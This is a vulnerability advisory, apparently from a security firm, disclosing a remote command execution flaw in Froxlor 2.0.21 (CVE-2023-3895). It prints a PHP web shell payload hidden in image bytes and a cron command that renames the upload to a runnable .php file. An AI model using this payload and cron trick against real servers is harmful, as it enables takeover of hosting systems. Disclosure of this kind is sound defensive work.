Froxlor 2.0.21 - Remote Command Execution

Summary

Vulnerability

Description

Froxlor allows an user to execute commands on the server by abusing the built-in image upload and cron jobs functionality.

Vulnerability

Remote Command Execution (RCE) vulnerability has been identified in Froxlor, is possible to upload images profiles without properly validating the type and content, the application also allows creating cron jobs without proper validation of dangerous commands, these two flaws lead to remote code execution.

Exploitation

Will be available soon.

Evidence of exploitation

In the Portal of Froxlor , we need to go to System -> Settings -> Panel Settings and Upload a Logo Image, then with have to add our payload in the image content:

ÿØÿà<?php echo exec($_GET['cmd']); ?>ÿÛ

after that, we need get the image name, and go to System -> Cronjob settings and add our payload:

/usr/bin/nice -n 5 mv /var/www/html/froxlor/img/here-the-image-name.jpeg  /var/www/html/froxlor/img/a.php |

finally, we need to wait for cron job task execute the mv commad that change the image to php extension and this allow to execute command in the server

Our security policy

We have reserved the ID CVE-2023-3895 to refer to this issue from now on.

• https://fluidattacks.com/advisories/policy/

System Information

• Version: Froxlor 2.0.21

• Operating System: Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Ronald Hernandez from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/Froxlor/Froxlor

Timeline